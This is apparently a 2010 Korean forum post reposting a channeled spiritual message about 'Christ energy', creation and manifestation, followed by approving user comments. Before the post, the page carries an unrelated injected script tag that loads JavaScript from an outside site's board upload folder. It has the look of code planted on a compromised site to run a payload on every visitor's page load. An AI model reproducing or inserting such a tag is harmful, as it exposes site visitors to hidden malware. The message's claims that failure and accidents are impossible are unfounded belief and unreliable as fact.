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<SCRIPT Language=JavaScript src=http://poverty.jinbo.net/bbs/data/freeboard/braun.js></script>◐지금은 창조할 때 ◑


여러분 각자가 창조하기를 시작할 때입니다.
지금은 의자 속에 가만히 주저앉아 있을 때가 아닙니다.
지금은 여러분 한 분 한 분이 여기 지구에 와서 하기로
의도했던 진짜 일을 시작할 때입니다.


거기에는 기쁨이 있을 것입니다. 여러분이 다른 사람들을
도울 때 기쁨이 있게 될 것입니다. 스승으로서 기쁨을 느낄 것입니다.
여러분 한 분 한 분은 다른 사람들을 인도하는 스승입니다.
여러분이 그들을 인도하기 시작할 때 권능이 나타나게 될 것입니다.
여러분 안에 앎이 존재하게 될 것입니다.


여러분의 의도가 빠른 속도로 현실화되는 것을 보게 될 것인데,
이것은 여러분이 베일의 양쪽에서 일하는 것을 돕게 될 새로운
힘을 데려오기 시작하고 있기 때문입니다. 지금은 창조의 시간입니다.


지금은 여러분 각자가 새로운 모험을 할 때인데, 이 모험은 완전히
새로운 권능에 관한 것이지요. 여러분은 이것을 실패할 수가 없는데,
왜냐하면 이 그리스도 에너지는 실패를 아예 허용조차도 하지 않기 때문입니다.
여러분이 단순히 아무 것도 안 할 수는 있지만 실패할 수는 없습니다.
이 그리스도 에너지를 사용하는 것을 두려워하지 마세요.


새로운 지구의 에너지는 여러분이 매일 아침마다 자전거를 탈 수
있지만 여러분의 주변 환경은 바뀌어 가는 것과 비슷하게 다릅니다.
이것은 적절한 모든 것들이 여러분에게 나타나게 될 것임을 의미합니다.
여러분은 그것을 찾아서 밖으로 나다닐 필요가 없습니다.


이 순간 이후부터는 적절한 모든 것들이 여러분에게 끌어당겨져
나타나게 될 것입니다. 그리고 이 모든 것은 전적으로 여러분이
그리스도 의식이라는 에너지를 활짝 열고 창조하기 시작하느냐에
달려 있습니다.


여러분이 창조해야만 하는 것은 무엇일까요? 여러분은 알게 될 것입니다,
친구들이여, 여러분 자신이 무엇을 창조해야만 하는가라고 자문하게
될 때 알게 될 것입니다.


이 순간부터는 여러분 주위를 둘러보시고 모든 것이 적절하다는
것을 보시기 바랍니다. 실수 같은 것들은 없습니다. 우연도 없습니다.
매 상황을 보시고 "이 상황이 나에게 가져 온 것이 무엇이지?"라고 물으세요.


어떤 사람들이 여러분 삶에 들어오면, 여러분 존재 속에서 그들의
상위 자아에게 "왜 이 사람이 나에게 왔을까요?"라고 물어보세요.
그렇게 하면 답변을 얻게 될 것입니다. 아마도 즉시 답변이 나오지
않을 수도 있을 것입니다.


얼마간의 시간이 걸릴 수도 있지만 여러분이 여러분 자신의 권능을
사용하여 일하는 것을 배울수록 답변은 더욱 더 빨리 나오게 될
것입니다. 언젠가 여러분은 그 신속함에 놀라게 될 것입니다.

             ((((((((((((((( 메세지 퍼옴 )))))))))))))))
조회 수 :
1661
등록일 :
2010.02.28
01:24:28 (*.109.158.129)
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Friend

2010.02.28
13:57:18
(*.138.7.177)
profile
지금은 의자 속에 가만히 주저앉아 있을 때가 아닙니다.
지금은 여러분 한 분 한 분이 여기 지구에 와서 하기로
의도했던 진짜 일을 시작할 때입니다."

그렇습니다..진실로 그렇습니다..
바야흐로..때가 무르익었고,
그 기운이 결실을 맺을 시간이 다가옴을 느낍니다..

우리 모두 안에서 일하시는 그리스도는 결코 실패하지 않습니다.
그분의 권능을 "깊은 이해"속에서 허락할 시간입니다.

테이블은 이미 차려져 있습니다.
사실..언제나 차려져 있었지요..

이제 당당히 걸어들어가 당신의 자리에 앉아
성찬을 만끽할 시간입니다...

신 성

2010.02.28
23:12:07
(*.109.158.129)
훌륭하십니다 frend님

작은 빛

2010.03.01
00:42:54
(*.172.72.188)
신성님 반갑습니다 ^^

제겐 아직 갈 길이 먼 듯한 느낌인데 .... 아 어렵군요 ....

율려

2010.03.02
00:01:46
(*.121.153.109)
"왜 이 사람이 나에게 왔을까요?"
요즘 들어 제게 자주 묻는 화두입니다.

신 성님 ~ 좋은 글 잘 보고 갑니다. ^^
어디선가 뵌 듯한 ~~ ^.^
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